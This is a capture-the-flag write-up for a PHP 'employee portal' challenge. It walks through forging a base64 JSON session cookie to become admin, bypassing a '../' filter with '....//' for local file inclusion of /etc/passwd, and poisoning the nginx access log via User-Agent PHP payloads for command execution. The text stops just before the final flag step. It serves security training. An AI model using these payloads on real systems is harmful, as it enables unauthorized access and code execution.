Hack the Madness CTF Round 2 — broken production
Our PHP devs are working on this employee management portal. We have a mock build of the website and you are to pentest the platform for weaknesses. Your goal is to get more privileges and command execution on the server.
We're given a PHP server that looks like this:
Code (php):
1<?php
2spl_autoload_register(function ($name){
3 if (preg_match('/Controller$/', $name))
4 {
5 $name = "controllers/${name}";
6 }
7 else if (preg_match('/Model$/', $name))
8 {
9 $name = "models/${name}";
10 }
11 include_once "${name}.php";
12});
13
14$session = new SessionHandler();
15$database = new Database('/tmp/challenge.db');
16
17$router = new Router();
18$router->new('GET', '/', function($router) use ($session){
19 if (!$session->isLoggedIn())
20 {
21 return header('location: /login');
22 }
23
24 return $router->view('index', ['admin' => $session->isAdmin(), 'username' => $session->getUsername()]);
25});
26
27$router->new('GET', '/login', function($router) use ($session){
28 if ($session->isLoggedIn())
29 {
30 return header('location: /');
31 }
32
33 return $router->view('login');
34});
35
36$router->new('GET', '/register', function($router) use ($session){
37 if ($session->isLoggedIn())
38 {
39 return header('location: /');
40 }
41
42 return $router->view('register');
43});
44
45$router->new('POST', '/auth/login', function($router) use ($database, $session){
46 $user = $database->login($_POST['username'], $_POST['password']);
47 if (!$user) return header('location: /login?msg=Invalid username or password!');
48 $session->login($_POST['username']);
49 header('location: /');
50 exit;
51});
52
53$router->new('POST', '/auth/register', function($router) use ($database){
54 if ($_POST['username'] === 'admin') return header('location: /register?msg=This user already exists!');
55 $database->register($_POST['username'], $_POST['password']);
56 header('location: /login?msg=The account registered successfully!®=true');
57 exit;
58});
59
60
61$router->new('GET', '/logout', function($router) use ($session){
62
63 $session->distroy();
64 return header('location: /login');
65
66});
67
68
69die($router->match());
Looking in views/index.php
and SessionHandler.php
,
Code (php):
1<?php if ($admin){
2 include_once "admin.php";
3 } else{
4 include_once "user.php";
5 }
6?>
Code (php):
1<?php
2class SessionHandler
3{
4 public function __construct()
5 {
6 if (!empty($_COOKIE['PHPSESSID'])){
7 $this->cookie = $_COOKIE['PHPSESSID'];
8 $this->load();
9 }
10 }
11
12 public function login($username)
13 {
14 setcookie('PHPSESSID', base64_encode(json_encode([
15 'username' => $username
16 ])), time()+1333337, '/');
17 }
18
19 public function load()
20 {
21 $this->data = json_decode(base64_decode($this->cookie));
22 }
23
24 public function isLoggedIn()
25 {
26 return !is_null($this->data->username);
27 }
28
29 public function isAdmin()
30 {
31 return $this->data->username === 'admin';
32 }
33
34 public function getUsername()
35 {
36 return $this->data->username;
37 }
38
39 public function distroy()
40 {
41 unset($_COOKIE['PHPSESSID']);
42 setcookie('PHPSESSID', '', time() - 3600, '/');
43 }
44}
it seems we can pretty easily log in as admin by base64 encoding the string {"username":"admin"}
, e.g. something like
Code:
1ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ
Replacing our PHPSESSID
cookie with that, we get to the admin dashboard:
Looking at the admin view,
Code (php):
1<?php
2
3$utilFile = "tickets.php";
4
5if (isset($_GET['util']))
6 $utilFile = $_GET['util'];
7 $utilFile = str_replace("../","", $utilFile);
8
9$fullPath = '/www/utils/'.$utilFile;
10
11?>
12<!DOCTYPE html>
13<html lang="en">
14<head>
15 <title>Broken Production</title>
16 <meta charset="UTF-8">
17 <meta name="viewport" content="width=device-width, initial-scale=1">
18<!-- ... -->
19</head>
20<body>
21
22 <body>
23 <div id="wrapper">
24 <!-- Sidebar -->
25 <div id="sidebar-wrapper">
26 <ul class="sidebar-nav">
27 <li class="sidebar-brand">
28 <a href="#">
29 Admin Dashboard (Under Construction)
30 </a>
31 </li>
32 <div class="profile-sidebar">
33 <!-- SIDEBAR USERPIC -->
34 <div class="profile-userpic">
35 <img src="/static/images/makelaris.png" class="img-responsive" alt="">
36 </div>
37 <!-- END SIDEBAR USERPIC -->
38 <!-- SIDEBAR USER TITLE -->
39 <div class="profile-usertitle">
40 <div class="profile-usertitle-name">
41 <?php echo $username ?>
42 </div>
43 <div class="profile-usertitle-job">
44 Administrator
45 </div>
46 </div>
47 <!-- END SIDEBAR USER TITLE -->
48 <!-- SIDEBAR BUTTONS -->
49 <div class="profile-userbuttons">
50 <a href="/logout" class="btn btn-danger btn-xs">Log Out</a>
51 </div>
52 </div>
53 </ul>
54 </div>
55 <!-- /#sidebar-wrapper -->
56
57 <!-- Page Content -->
58 <div id="page-content-wrapper">
59
60 <div class="container-fluid">
61 <div class="row text-right mb-4">
62 <div class="col">
63 <select class="custom-select" id="gotoPage">
64 <?php
65 echo "<option value='$utilFile' selected='true'>$utilFile</option>";
66
67 $pages = array("logs.php", "tickets.php", "todo.php");
68 foreach ($pages as $page){
69 if($page != $utilFile){
70 echo "<option value='$page'>$page</option>";
71 }
72 }
73 ?>
74 </select>
75 </div>
76 </div>
77
78 <div class="manage-box">
79 <?php include_once($fullPath); ?>
80 </div>
81 </div>
82 </div>
83 <!-- /#page-content-wrapper -->
84
85 </div>
86</body>
87<!-- ... -->
88
89</html>
it looks like we get local file inclusion, but with path traversal blocked by a str_replace
.
However, we can very easily get around this filter by passing a query param such as ....//....//etc/passwd
: the script will delete every instance of ../
, leaving us with a file inclusion of /var/www/../../etc/passwd
.
We still can't directly include the flag, though; looking at the dockerfile, the flag file's name is randomly generated at build time.
Code (Dockerfile):
1FROM alpine:edge
2
3# Setup usr
4RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
5
6# Install system packages
7RUN apk add --no-cache --update supervisor nginx php7-fpm php7-sqlite3 php7-json
8
9# Configure php-fpm and nginx
10COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
11COPY config/supervisord.conf /etc/supervisord.conf
12COPY config/nginx.conf /etc/nginx/nginx.conf
13
14# Copy challenge files
15COPY challenge /www
16
17# Copy flag
18RUN RND=$(echo $RANDOM | md5sum | head -c 15) && \
19 echo "HTB{f4k3_fl4g_f0r_t3st1ng}" > /flag_${RND}.txt
20
21# Setup permissions
22RUN chown -R www:www /var/lib/nginx
23
24# Expose the port nginx is listening on
25EXPOSE 80
26
27CMD /usr/bin/supervisord -c /etc/supervisord.conf
Then, we can try to get RCE instead. Looking at the nginx config, we can see
that the server logs requests to /var/log/nginx/access.log
:
Code (conf):
1user www;
2pid /run/nginx.pid;
3error_log /dev/stderr info;
4
5events {
6 worker_connections 1024;
7}
8
9http {
10 server_tokens off;
11 log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
12 access_log /var/log/nginx/access.log docker;
13
14 charset utf-8;
15 keepalive_timeout 20s;
16 sendfile on;
17 tcp_nopush on;
18 client_max_body_size 1M;
19
20 include /etc/nginx/mime.types;
21
22 server {
23 listen 80;
24 server_name _;
25
26 index index.php;
27 root /www;
28
29 location / {
30 try_files $uri $uri/ /index.php?$query_string;
31 location ~ \.php$ {
32 try_files $uri =404;
33 fastcgi_pass unix:/run/php-fpm.sock;
34 fastcgi_index index.php;
35 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
36 include fastcgi_params;
37 }
38 }
39 }
40}
(indeed, one of the tabs in the admin dashboard lets you view this file directly:)
Thus, we can write arbitrary PHP code to the log file by manipulating the HTTP user agent, and then include this file via LFI for RCE:
Code (js):
1await (await fetch('http://94.237.53.57:54572/', {
2 headers: { 'User-Agent': '<?php phpinfo(); ?>' }
3})).text()
(which requires Firefox, since Chromium disallows setting a custom user agent in fetch
).
We can use the RCE to give us the flag file name with e.g.
Code (js):
1await (await fetch(window.location, {
2 headers: { 'User-Agent': '<?php echo `ls /`; ?>' }
3})).text()
and include it with LFI to get the flag: